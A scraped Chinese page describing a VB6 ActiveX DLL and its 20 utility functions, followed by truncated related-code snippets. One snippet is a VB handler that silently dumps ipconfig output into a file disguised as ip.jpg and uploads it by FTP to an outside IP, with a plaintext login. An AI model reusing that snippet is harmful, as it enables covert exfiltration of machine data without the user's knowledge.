采用VB编写的动态链接库(ActiveX DLL)
◆请由此确定是否被恶意修改◆
作者：我心飞翔
VB中引入本DLL的方法
方法一：选择“工程(P)”菜单下的“引用(N)”，在出现的对话框中点“浏览按钮”，并找到DLL所在位置。
方法二：分两步走
(1)注册动态链接库，使用regsvr32命令。在运行对话框中，输入“regsvr32 DLL完整路径”。
(2)选择“工程(P)”菜单下的“引用(N)”，在出现的对话框中,直接在列表中找“Swpi Zy DLL 1.0.1(v2005.01.23)”
★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★
封装函数过程一览表----按照分类及字母顺序
◆封装的10个过程，没有返回值◆
01、AboutAndHelp-----显示帮助信息
02、ExitOs-----------注销、重启和关机
03、KillApplication--关闭指定应用程序
04、OpenUrlOfEmail---根据指定Email地址，调用邮件工具
05、OpenUrlOfFile----根据指定本地路径，打开一个文件
06、OpenUrlOfHttp----根据指定Http地址，调用默认浏览器
07、SetCdRomClosed---关上光盘驱动器
08、SetCdRomOpen-----弹开光盘驱动器
09、SetWindowTopMost-将窗口置于最顶层
10、ShowMousePointer-显示或者隐藏鼠标指针
●封装的10个函数，有其返回值●
11、AddAppToAutorun--将指定应用程序设置为开机自运行
12、DecodeData-------对EncodeData加密后的数据进行解密
13、EncodeData-------对给定的字符串进行Base64算法的加密
14、GetCompName------获取本地计算机名字
15、GetCurrUser------获取当前登录用户名
16、GetSysDir--------获取系统所在目录
17、GetWinDir--------获取Windows所在目录
18、PlayWavSound-----播放wav格式的音频文件
19、SetDesktopStatus-显示或者隐藏桌面
20、ShowControlPanel-显示控制面板中的部分项
★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★
─────────────────
VB中用本DLL封装类创建对象的语句
Dim zyObj As New prjSwpiZy.clsZy
为了执行效率，最好将Dim和New分开。下面是实际调用DLL中函数的演示
Dim zyObj As prjSwpiZy.clsZy '定义
Set zyObj = New prjSwpiZy.clsZy '实例化
zyObj.OpenUrlOfHttp ("www.niit.com.cn") '调用
Set zyObj = Nothing '释放
─────────────────
VC中用本DLL的一些关�
相关文档：
Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Sub Command1_Click() '锁定鼠标 到某一位置
......
VB 长整型和字节数组的转换问题 (Long<>Byte)
Posted by JiaJia 17 March,2009 (0)Comment
用到的API声明：
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Long2Byte
Dim TempLng As Long
Dim TempBytes(0 To 3) As Byte ......
ftp.txt文件内容为：
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为：
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
发送端以163为例
一、asp.net版 using System.Web.Mail; //命名空间引用
c#
MailMessage mail = new MailMessage();
mail.To = "shadow103@qq.com"; //接受人的邮箱
& ......
全面控制 Excel
首先创建 Excel 对象，使用ComObj:
Dim ExcelID as Excel.Application
Set ExcelID as new Excel.Application
1) 显示当前窗口：
ExcelID.Visible := True;
2) 更改 Excel 标题栏：
ExcelID.Caption := '应用程序调用 Microsoft Excel';
3) 添加新工作簿：
ExcelID.WorkBooks.Add;
4) 打开已存在� ......
